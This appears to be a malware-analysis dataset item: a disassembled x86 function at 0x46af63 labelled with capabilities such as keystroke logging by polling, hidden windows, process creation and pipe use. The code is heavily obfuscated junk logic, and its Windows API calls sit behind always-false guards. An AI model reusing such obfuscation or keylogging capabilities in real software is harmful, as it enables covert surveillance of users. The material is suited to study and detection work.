Function at 0x46af63
Capabilities:
Accept command line arguments
Compare security identifiers
Connect pipe
Create pipe
Create process on windows
Delete registry value
Get common file path
Get session user name
Hide graphical window
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a80
call fcn.004a3690
push ebx
push esi
push edi
cmp dword [ebp + 8], 2
jl 0x4791dc
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x420], 0xfffffffd
mov dword [ebp - 0x254], 1
mov dword [ebp - 0x5f4], 0
jmp 0x46afb4
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 1
jge 0x46afd0
mov eax, dword [ebp - 0x5f4]
mov dword [ebp + eax*4 - 0x2434], 0xf2c0
jmp 0x46afa7
mov eax, dword [ebp - 0x88]
neg eax
je 0x46afef
cmp dword [ebp - 0x88], 0
je 0x46afef
mov dword [ebp - 0x188c], 1
jmp 0x46aff6
and dword [ebp - 0x188c], 0
mov eax, dword [ebp - 0x188c]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x88], 0xa6deec54
jb 0x46b2ca
mov dword [ebp - 0x2e0], 2
mov dword [ebp - 0x206c], 0xffffffff
mov dword [ebp - 0x420], 0xf6c74aa0
mov eax, dword [ebp - 0x2e0]
cmp dword [ebp - 0x2e0], eax
jge 0x46b0c7
mov eax, dword [ebp - 0x2e0]
cmp dword [ebp - 0x2e0], eax
jle 0x46b05c
mov dword [ebp - 0x204c], 1
jmp 0x46b063
and dword [ebp - 0x204c], 0
cmp dword [ebp - 0x204c], 0
jb 0x46b07e
cmp dword [ebp - 0x88], 0
jne 0x46b07e
and dword [ebp - 0x2364], 0
jmp 0x46b088
mov dword [ebp - 0x2364], 1
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x3718], eax
mov eax, dword [ebp - 0x2e0]
cmp dword [ebp - 0x2e0], eax
je 0x46b0ae
mov dword [ebp - 0x2054], 1
jmp 0x46b0b5
and dword [ebp - 0x2054], 0
cmp dword [ebp - 0x2054], 0
jbe 0x46b0c7
and dword [ebp - 0x205c], 0
jmp 0x46b0d1
mov dword [ebp - 0x205c], 1
cmp dword [ebp - 0x205c], 0xfffffffd
je 0x46b0e6
mov dword [ebp - 0x2064], 1
jmp 0x46b0ed
and dword [ebp - 0x2064], 0
mov eax, dword [ebp - 0x2064]
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
jne 0x46b114
cmp dword [ebp - 0x2e0], 0
jne 0x46b114
and dword [ebp - 0x242c], 0
jmp 0x46b11e
mov dword [ebp - 0x242c], 1
mov dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0x3600], eax
cmp dword [ebp - 0x88], 0
je 0x46b169
mov byte [ebp - 0x417], 0
movzx eax, byte [ebp - 0x417]
test eax, eax
je 0x46b164
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
jmp 0x46b2c8
mov dword [ebp - 0x930], 0x5c6a
mov dword [ebp - 0x20b4], 0x5fef4072
mov eax, dword [ebp - 0x206c]
cmp dword [ebp - 0x930], eax
jle 0x46b197
mov dword [ebp - 0x20a4], 1
jmp 0x46b19e
and dword [ebp - 0x20a4], 0
mov eax, dword [ebp - 0x206c]
add eax, dword [ebp - 0x20a4]
add eax, dword [ebp - 0x254]
cmp eax, dword [ebp - 0x88]
jg 0x46b1c4
mov dword [ebp - 0x20ac], 1
jmp 0x46b1cb
and dword [ebp - 0x20ac], 0
mov eax, dword [ebp - 0x20ac]
mov dword [ebp - 0x20b4], eax
mov eax, dword [ebp - 0x930]
cmp dword [ebp - 0x20b4], eax
je 0x46b1f1
mov dword [ebp - 0x20bc], 1
jmp 0x46b1f8
and dword [ebp - 0x20bc], 0
mov eax, dword [ebp - 0x420]
sub eax, dword [ebp - 0x930]
cmp eax, dword [ebp - 0x20bc]
jl 0x46b225
cmp dword [ebp - 0x930], 0
je 0x46b225
xor eax, eax
je 0x46b225
mov dword [ebp - 0x20c4], 1
jmp 0x46b22c
and dword [ebp - 0x20c4], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x20c4], eax
jg 0x46b246
mov dword [ebp - 0x20cc], 1
jmp 0x46b24d
and dword [ebp - 0x20cc], 0
cmp dword [ebp - 0x20cc], 0x9af2c67a
jbe 0x46b265
mov dword [ebp - 0x20d4], 1
jmp 0x46b26c
and dword [ebp - 0x20d4], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x20d4], eax
jne 0x46b286
mov dword [ebp - 0x20dc], 1
jmp 0x46b28d
and dword [ebp - 0x20dc], 0
mov eax, dword [ebp - 0x20dc]
mov dword [ebp - 0x254], eax
mov byte [ebp - 0x379], 0
movzx eax, byte [ebp - 0x379]
test eax, eax
je 0x46b2c8
push 0
push 0
push 0
push 0
push 0x1c57
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x46b2d4
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x254], 0
jmp 0x46b2ed
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
jg 0x46b339
mov dword [ebp - 0x243c], 0
mov dword [ebp - 0x88], 0
jmp 0x46b319
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jg 0x46b337
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp + eax*4 - 0x2434]
mov dword [ebp - 0x243c], eax
jmp 0x46b30c
jmp 0x46b2e0
mov dword [ebp - 0x29c], 0xfffffff8
mov dword [ebp - 0x20ec], 0x864896e6
push 3
lea ecx, [ebp - 0x2c5c]
call fcn.00432b0d
mov dword [ebp - 0x5fc], 0
jmp 0x46b373
mov eax, dword [ebp - 0x5fc]
inc eax
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 3
jge 0x46b395
push dword [ebp - 0x5fc]
lea ecx, [ebp - 0x2c5c]
call fcn.00432bfb
mov dword [eax], 0xb051af7f
jmp 0x46b366
mov byte [ebp - 0x3f7], 0
movzx eax, byte [ebp - 0x3f7]
test eax, eax
je 0x46b3c5
push 0x1568
push 0x1a91
push 0
push 0
push 0x98
push 0x801
call dword [sym.imp.USER32.dll_ToUnicode]
mov eax, dword [ebp - 0x29c]
cmp dword [ebp - 0x29c], eax
jle 0x46b3df
mov dword [ebp - 0x20e4], 1
jmp 0x46b3e6
and dword [ebp - 0x20e4], 0
mov eax, dword [ebp - 0x20e4]
sub eax, dword [ebp - 0x29c]
imul eax, dword [ebp - 0x29c]
mov dword [ebp - 0x20ec], eax
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x3250], eax
mov eax, dword [ebp - 0x20ec]
mov dword [ebp - 0x37b8], eax
cmp dword [ebp - 0x29c], 3
ja 0x46b42c
mov dword [ebp - 0x20f4], 1
jmp 0x46b433
and dword [ebp - 0x20f4], 0
mov eax, dword [ebp - 0x29c]
cmp dword [ebp - 0x20f4], eax
jl 0x46b44d
mov dword [ebp - 0x20fc], 1
jmp 0x46b454
and dword [ebp - 0x20fc], 0
cmp dword [ebp - 0x20fc], 8
jne 0x46b469
mov dword [ebp - 0x2104], 1
jmp 0x46b470
and dword [ebp - 0x2104], 0
mov eax, dword [ebp - 0x29c]
cmp dword [ebp - 0x2104], eax
jl 0x46b490
mov eax, 0xfffc
test eax, eax
jne 0x46b490
and dword [ebp - 0x210c], 0
jmp 0x46b49a
mov dword [ebp - 0x210c], 1
push 0
lea ecx, [ebp - 0x2c5c]
call fcn.00432bfb
mov ecx, dword [ebp - 0x210c]
mov dword [eax], ecx
lea ecx, [ebp - 0x2c5c]
call fcn.00432bdf
mov dword [ebp - 0x4b0], 0xa75c
mov dword [ebp - 0x28fc], 0xfffffffd
mov dword [ebp - 0x28f8], 0xfffffffd
mov dword [ebp - 0x28f4], 0xfffffffd
mov dword [ebp - 0x28f0], 0xfffffffd
mov dword [ebp - 0x21c8], 0x5537
cmp dword [ebp - 0x4b0], 0
je 0x46b680
mov dword [ebp - 0x7d8], 8
mov byte [ebp - 0x381], 0
movzx eax, byte [ebp - 0x381]
test eax, eax
je 0x46b52e
push 0x5bc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 0x4b0], 0
jmp 0x46b547
mov eax, dword [ebp - 0x4b0]
inc eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 3
jg 0x46b67e
mov dword [ebp - 0x2e8], 0x4ea6801f
mov dword [ebp - 0x2e8], 0
jmp 0x46b577
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 4
jge 0x46b593
mov eax, dword [ebp - 0x2e8]
mov dword [ebp + eax*4 - 0x28fc], 0xeee2fde2
jmp 0x46b56a
cmp dword [ebp - 0x7d8], 0
jne 0x46b624
cmp dword [ebp - 0x2e8], 0
je 0x46b606
cmp dword [ebp - 0x7d8], 1
jle 0x46b5c7
cmp dword [ebp - 0x7d8], 0
je 0x46b5c7
mov dword [ebp - 0x2114], 1
jmp 0x46b5ce
and dword [ebp - 0x2114], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2114]
sub ecx, dword [ebp + eax - 0x28fc]
je 0x46b606
cmp dword [ebp - 0x2e8], 0
je 0x46b606
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x28fc], 0
je 0x46b606
mov dword [ebp - 0x211c], 1
jmp 0x46b60d
and dword [ebp - 0x211c], 0
mov eax, dword [ebp - 0x211c]
sub eax, dword [ebp - 0x7d8]
jne 0x46b624
and dword [ebp - 0x2124], 0
jmp 0x46b62e
mov dword [ebp - 0x2124], 1
cmp dword [ebp - 0x2124], 1
jl 0x46b643
mov dword [ebp - 0x212c], 1
jmp 0x46b64a
and dword [ebp - 0x212c], 0
cmp dword [ebp - 0x212c], 6
jne 0x46b65f
mov dword [ebp - 0x21c0], 1
jmp 0x46b666
and dword [ebp - 0x21c0], 0
mov eax, dword [ebp - 0x4b0]
mov ecx, dword [ebp - 0x21c0]
mov dword [ebp + eax*4 - 0x28fc], ecx
jmp 0x46b53a
jmp 0x46b6a4
mov byte [ebp - 0x3f9], 0
movzx eax, byte [ebp - 0x3f9]
test eax, eax
je 0x46b6a4
push 0x1b54
push 0
push 0x7ce
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov eax, dword [ebp - 0x21c8]
dec eax
mov dword [ebp - 0x21c8], eax
push 1
lea ecx, [ebp - 0x5d0]
call fcn.00432b0d
mov dword [ebp - 0x128], 0xffffffff
mov dword [ebp - 0x1bd8], 0
mov dword [ebp - 0x1be8], 0xfffffff8
mov dword [ebp - 0x9e8], 0x377d6446
mov dword [ebp - 0x244c], 0xffffffff
push 1
lea ecx, [ebp - 0x32b4]
call fcn.00432b0d
mov dword [ebp - 0x604], 0
jmp 0x46b716
mov eax, dword [ebp - 0x604]
inc eax
mov dword [ebp - 0x604], eax
cmp dword [ebp - 0x604], 1
jge 0x46b738
push dword [ebp - 0x604]
lea ecx, [ebp - 0x32b4]
call fcn.00432bfb
mov dword [eax], 0xb818
jmp 0x46b709
cmp dword [ebp - 0x128], 0
je 0x46b833
mov eax, dword [ebp - 0x128]
add eax, 0x8bc0
imul eax, dword [ebp - 0x128]
test eax, eax
jne 0x46b76d
mov eax, 0x8172
test eax, eax
jne 0x46b76d
and dword [ebp - 0x21d0], 0
jmp 0x46b777
mov dword [ebp - 0x21d0], 1
mov eax, dword [ebp - 0x128]
imul eax, dword [ebp - 0x21d0]
cmp eax, 0xae4f78d7
jne 0x46b797
mov dword [ebp - 0x21d8], 1
jmp 0x46b79e
and dword [ebp - 0x21d8], 0
cmp dword [ebp - 0x21d8], 0xb012
jge 0x46b7b6
mov dword [ebp - 0x21e0], 1
jmp 0x46b7bd
and dword [ebp - 0x21e0], 0
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x21e0], eax
jg 0x46b7d7
mov dword [ebp - 0xca0], 1
jmp 0x46b7de
and dword [ebp - 0xca0], 0
mov eax, dword [ebp - 0xca0]
mov dword [ebp - 0x1bd8], eax
cmp dword [ebp - 0x1bd8], 0xb15d
je 0x46b80b
cmp dword [ebp - 0x128], 0
je 0x46b80b
mov dword [ebp - 0x2444], 1
jmp 0x46b812
and dword [ebp - 0x2444], 0
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x3258], eax
cmp dword [ebp - 0x128], 0
je 0x46b833
mov dword [ebp - 0xca8], 1
jmp 0x46b83a
and dword [ebp - 0xca8], 0
cmp dword [ebp - 0xca8], 4
jne 0x46b84f
mov dword [ebp - 0x1be0], 1
jmp 0x46b856
and dword [ebp - 0x1be0], 0
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x1be0]
jle 0x46b870
mov dword [ebp - 0xcb0], 1
jmp 0x46b877
and dword [ebp - 0xcb0], 0
mov eax, dword [ebp - 0xcb0]
mov dword [ebp - 0x1be8], eax
mov eax, dword [ebp - 0x1be8]
add eax, dword [ebp - 0x128]
cmp eax, 0xf300
je 0x46b8a2
mov dword [ebp - 0xcb8], 1
jmp 0x46b8a9
and dword [ebp - 0xcb8], 0
mov eax, dword [ebp - 0xcb8]
mov dword [ebp - 0x9e8], eax
mov dword [ebp - 0x9e8], 0xf6a191a8
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0x244c], eax
lea ecx, [ebp - 0x32b4]
call fcn.00432bdf
mov dword [ebp - 0x4c0], 0x158d32ff
mov dword [ebp - 0x2f0], 1
mov dword [ebp - 0x4b8], 0x836ccb03
push 2
lea ecx, [ebp - 0x295c]
call fcn.00432b0d
mov dword [ebp - 0x8c0], 0
jmp 0x46b91a
mov eax, dword [ebp - 0x8c0]
inc eax
mov dword [ebp - 0x8c0], eax
cmp dword [ebp - 0x8c0], 2
jge 0x46b93c
push dword [ebp - 0x8c0]
lea ecx, [ebp - 0x295c]
call fcn.00432bfb
mov dword [eax], 1
jmp 0x46b90d
imul eax, dword [ebp - 0x2f0], 0
mov dword [ebp - 0x4b8], eax
mov eax, dword [ebp - 0x2f0]
dec eax
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2f0], 0
jmp 0x46b96f
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 1
jg 0x46bb57
mov dword [ebp - 0xcd0], 0x939f
mov byte [ebp - 0x389], 0
movzx eax, byte [ebp - 0x389]
test eax, eax
je 0x46b9a9
push 0xd89
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x4b8], 0
jmp 0x46b9c2
mov eax, dword [ebp - 0x4b8]
inc eax
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 1
jg 0x46bb52
mov dword [ebp - 0x4d8], 0xfffffff7
mov dword [ebp - 0x1bf0], 0x55a44198
mov dword [ebp - 0xcc8], 0xf8b4dfec
mov byte [ebp - 0x3fb], 0
movzx eax, byte [ebp - 0x3fb]
test eax, eax
je 0x46ba50
push 0x499
push 0xc6
push 0x265d
push 0
push 0x16c6
push 0x2529
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0xc50
push 0x10ad
push 0x8a8
push 0xe18
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
mov dword [ebp - 0x4d8], 0
jmp 0x46ba69
mov eax, dword [ebp - 0x4d8]
inc eax
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 1
jg 0x46bb4d
mov dword [ebp - 0x2454], 0xfffffffd
mov dword [ebp - 0x1bf0], 0xffffffff
mov esi, dword [ebp - 0x1bf0]
neg esi
push 1
lea ecx, [ebp - 0x295c]
call fcn.00432bfb
cmp dword [eax], esi
jle 0x46baaf
mov dword [ebp - 0xcc0], 1
jmp 0x46bab6
and dword [ebp - 0xcc0], 0
mov eax, dword [ebp - 0xcd0]
cmp eax, dword [ebp - 0xcc0]
jne 0x46bad0
mov dword [ebp - 0x1bf8], 1
jmp 0x46bad7
and dword [ebp - 0x1bf8], 0
push dword [ebp - 0x4b8]
lea ecx, [ebp - 0x295c]
call fcn.00432bfb
mov eax, dword [eax]
imul eax, dword [ebp - 0x1bf8]
mov dword [ebp - 0xcc8], eax
mov eax, dword [ebp - 0x4d8]
cmp dword [ebp - 0xcc8], eax
je 0x46bb11
mov dword [ebp - 0x1c00], 1
jmp 0x46bb18
and dword [ebp - 0x1c00], 0
mov eax, dword [ebp - 0x1c00]
sub eax, dword [ebp - 0xcd0]
cmp eax, 1
jne 0x46bb35
mov dword [ebp - 0x1c08], 1
jmp 0x46bb3c
and dword [ebp - 0x1c08], 0
mov eax, dword [ebp - 0x1c08]
mov dword [ebp - 0x2454], eax
jmp 0x46ba5c
jmp 0x46b9b5
jmp 0x46b962
lea ecx, [ebp - 0x295c]
call fcn.00432bdf
mov dword [ebp - 0xa08], 0xffffffff
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x550], 1
mov dword [ebp - 0x1c48], 0xfcf62392
mov dword [ebp - 0x2464], 4
mov dword [ebp - 0x60c], 0
jmp 0x46bbaa
mov eax, dword [ebp - 0x60c]
inc eax
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 2
jge 0x46bbc6
mov eax, dword [ebp - 0x60c]
mov dword [ebp + eax*4 - 0x17c], 0x871c7bf0
jmp 0x46bb9d
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xc], 0
jmp 0x46bbdc
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jg 0x46c0a1
mov dword [ebp - 0x21f4], 1
mov dword [ebp - 0x21f0], 1
mov dword [ebp - 0x21ec], 1
mov dword [ebp - 0x21e8], 1
mov dword [ebp - 0x264], 0xf885bd5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x245c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x245c]
mov dword [ebp + eax - 0x21f4], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x17c]
mov dword [ebp - 0x3608], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21f4]
cmp dword [ebp - 0xc], eax
jg 0x46bc65
mov dword [ebp - 0xcd8], 1
jmp 0x46bc6c
and dword [ebp - 0xcd8], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0xcd8]
jge 0x46bc87
push 2
pop eax
test eax, eax
jne 0x46bc87
and dword [ebp - 0x1c10], 0
jmp 0x46bc91
mov dword [ebp - 0x1c10], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x17c]
cmp dword [ebp - 0x1c10], eax
jl 0x46bcb2
mov dword [ebp - 0xce0], 1
jmp 0x46bcb9
and dword [ebp - 0xce0], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xce0], eax
je 0x46bcd0
mov dword [ebp - 0x1c18], 1
jmp 0x46bcd7
and dword [ebp - 0x1c18], 0
mov eax, dword [ebp - 0x1c18]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
cmp eax, dword [ebp - 0x550]
je 0x46bd01
mov dword [ebp - 0xce8], 1
jmp 0x46bd08
and dword [ebp - 0xce8], 0
mov eax, dword [ebp - 0xce8]
mov dword [ebp - 0x264], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x264], eax
jl 0x46bd2b
mov dword [ebp - 0x1c20], 1
jmp 0x46bd32
and dword [ebp - 0x1c20], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
imul eax, dword [ebp - 0x1c20]
test eax, eax
je 0x46bd63
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x17c], 0
je 0x46bd63
mov dword [ebp - 0xcf0], 1
jmp 0x46bd6a
and dword [ebp - 0xcf0], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
cmp dword [ebp - 0xcf0], eax
jg 0x46bd88
mov dword [ebp - 0x1c28], 1
jmp 0x46bd8f
and dword [ebp - 0x1c28], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
cmp dword [ebp - 0x1c28], eax
jl 0x46bdad
mov dword [ebp - 0xcf8], 1
jmp 0x46bdb4
and dword [ebp - 0xcf8], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
add eax, dword [ebp - 0xcf8]
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x17c], eax
mov dword [ebp - 0x264], 1
jmp 0x46bde7
mov eax, dword [ebp - 0x264]
dec eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0
jl 0x46c09c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp + ecx*4 - 0x17c]
cmp dword [ebp + eax*4 - 0x17c], ecx
jl 0x46be16
mov dword [ebp - 0xd08], 1
jmp 0x46be1d
and dword [ebp - 0xd08], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x21f4], 0
jne 0x46bee4
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
mov dword [ebp - 0x3260], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp + ecx*4 - 0x17c]
cmp dword [ebp + eax - 0x21f4], ecx
jge 0x46be66
mov dword [ebp - 0x1c30], 1
jmp 0x46be6d
and dword [ebp - 0x1c30], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x21f4]
cmp dword [ebp - 0x1c30], eax
je 0x46be98
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x17c], 0
jne 0x46be98
and dword [ebp - 0xd00], 0
jmp 0x46bea2
mov dword [ebp - 0xd00], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
cmp dword [ebp - 0xd00], eax
jge 0x46bec0
mov dword [ebp - 0x1c38], 1
jmp 0x46bec7
and dword [ebp - 0x1c38], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x21f4]
add eax, dword [ebp - 0x1c38]
jne 0x46bee4
and dword [ebp - 0x1c40], 0
jmp 0x46beee
mov dword [ebp - 0x1c40], 1
mov eax, dword [ebp - 0xd08]
imul eax, dword [ebp - 0x1c40]
test eax, eax
jne 0x46bf11
mov eax, 0x6ae6
test eax, eax
jne 0x46bf11
and dword [ebp - 0xd10], 0
jmp 0x46bf1b
mov dword [ebp - 0xd10], 1
imul eax, dword [ebp - 0xd10], 0xffffffff
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x21f4], eax
cmp dword [ebp - 0xc], 0
jne 0x46bfef
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c48], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
cmp eax, dword [ebp - 0x1c48]
jne 0x46bf60
mov dword [ebp - 0xd18], 1
jmp 0x46bf67
and dword [ebp - 0xd18], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
add eax, dword [ebp - 0xd18]
jne 0x46bf87
xor eax, eax
inc eax
jne 0x46bf87
and dword [ebp - 0x1c50], 0
jmp 0x46bf91
mov dword [ebp - 0x1c50], 1
mov eax, dword [ebp - 0x1c50]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x550]
cmp dword [ebp - 0x264], eax
jg 0x46bfb7
mov dword [ebp - 0xd20], 1
jmp 0x46bfbe
and dword [ebp - 0xd20], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
cmp dword [ebp - 0xd20], eax
jne 0x46bfdc
mov dword [ebp - 0x1c58], 1
jmp 0x46bfe3
and dword [ebp - 0x1c58], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x21f4]
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x36f0], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x17c], ecx
jge 0x46c016
mov dword [ebp - 0xd28], 1
jmp 0x46c01d
and dword [ebp - 0xd28], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x17c]
add eax, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0x264]
jl 0x46c041
mov dword [ebp - 0x1c60], 1
jmp 0x46c048
and dword [ebp - 0x1c60], 0
cmp dword [ebp - 0x1c60], 1
jl 0x46c05d
mov dword [ebp - 0xd30], 1
jmp 0x46c064
and dword [ebp - 0xd30], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xd30], eax
jne 0x46c084
mov eax, 0xc7a8
test eax, eax
je 0x46c084
mov dword [ebp - 0x1c68], 1
jmp 0x46c08b
and dword [ebp - 0x1c68], 0
mov eax, dword [ebp - 0x1c68]
mov dword [ebp - 0x2464], eax
jmp 0x46bdda
jmp 0x46bbd5
mov dword [ebp - 0xe70], 0x9b347d17
mov dword [ebp - 0x7e0], 0xca631852
mov dword [ebp - 0x7e0], 0xb
jmp 0x46c0ce
mov eax, dword [ebp - 0x7e0]
dec eax
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0xfffffff7
jle 0x46c228
mov dword [ebp - 0x980], 1
push 3
lea ecx, [ebp - 0x32c4]
call fcn.00432b0d
mov dword [ebp - 0x614], 0
jmp 0x46c10b
mov eax, dword [ebp - 0x614]
inc eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 3
jge 0x46c12d
push dword [ebp - 0x614]
lea ecx, [ebp - 0x32c4]
call fcn.00432bfb
mov dword [eax], 3
jmp 0x46c0fe
mov dword [ebp - 0x980], 0
jmp 0x46c146
mov eax, dword [ebp - 0x980]
dec eax
mov dword [ebp - 0x980], eax
cmp dword [ebp - 0x980], 0xffffffeb
jne 0x46c218
push 2
lea ecx, [ebp - 0x2738]
call fcn.00432b0d
mov dword [ebp - 0x61c], 0
jmp 0x46c179
mov eax, dword [ebp - 0x61c]
inc eax
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 2
jge 0x46c19b
push dword [ebp - 0x61c]
lea ecx, [ebp - 0x2738]
call fcn.00432bfb
mov dword [eax], 0xded68044
jmp 0x46c16c
push 1
lea ecx, [ebp - 0x2738]
call fcn.00432bfb
mov dword [eax], 2
jmp 0x46c1d4
push 1
lea ecx, [ebp - 0x2738]
call fcn.00432bfb
mov dword [ebp - 0xd38], eax
mov eax, dword [ebp - 0xd38]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xd38]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x2738]
call fcn.00432bfb
cmp dword [eax], 0
jl 0x46c208
mov byte [ebp - 0x391], 0
movzx eax, byte [ebp - 0x391]
test eax, eax
je 0x46c206
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
jmp 0x46c1b0
lea ecx, [ebp - 0x2738]
call fcn.00432bdf
jmp 0x46c139
lea ecx, [ebp - 0x32c4]
call fcn.00432bdf
jmp 0x46c0c1
mov byte [ebp - 0x3fd], 0
movzx eax, byte [ebp - 0x3fd]
test eax, eax
je 0x46c27f
push 0x1629
push 0x8e1
push 0x1f9e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1115
push 0x697
push 0xa2b
push 0x3fe
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x2638], 0x6f0c3da5
mov dword [ebp - 0x22c0], 0xffb871c7
mov dword [ebp - 0x22bc], 0xffb871c7
mov dword [ebp - 0x22b8], 0xffb871c7
mov dword [ebp - 0x22b4], 0xffb871c7
mov dword [ebp - 0xd48], 0x3531f145
mov dword [ebp - 0xd58], 0xfffffffc
mov dword [ebp - 0x246c], 0xfffe
mov dword [ebp - 0x7e8], 0
jmp 0x46c2e8
mov eax, dword [ebp - 0x7e8]
inc eax
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x7e8], 2
jge 0x46c304
mov eax, dword [ebp - 0x7e8]
mov dword [ebp + eax*4 - 0x2290], 2
jmp 0x46c2db
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2290], 0x6f3f17e2
mov eax, 0x6f3f17e2
test eax, eax
jne 0x46c371
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2290]
mov dword [ebp - 0x3268], eax
mov eax, dword [ebp - 0xd48]
mov dword [ebp - 0x1c70], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1c70]
mov dword [ebp + eax - 0x2290], ecx
cmp dword [ebp - 0x1c70], 0
je 0x46c368
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x22c0], 0
jne 0x46c371
and dword [ebp - 0xd40], 0
jmp 0x46c37b
mov dword [ebp - 0xd40], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x22c0]
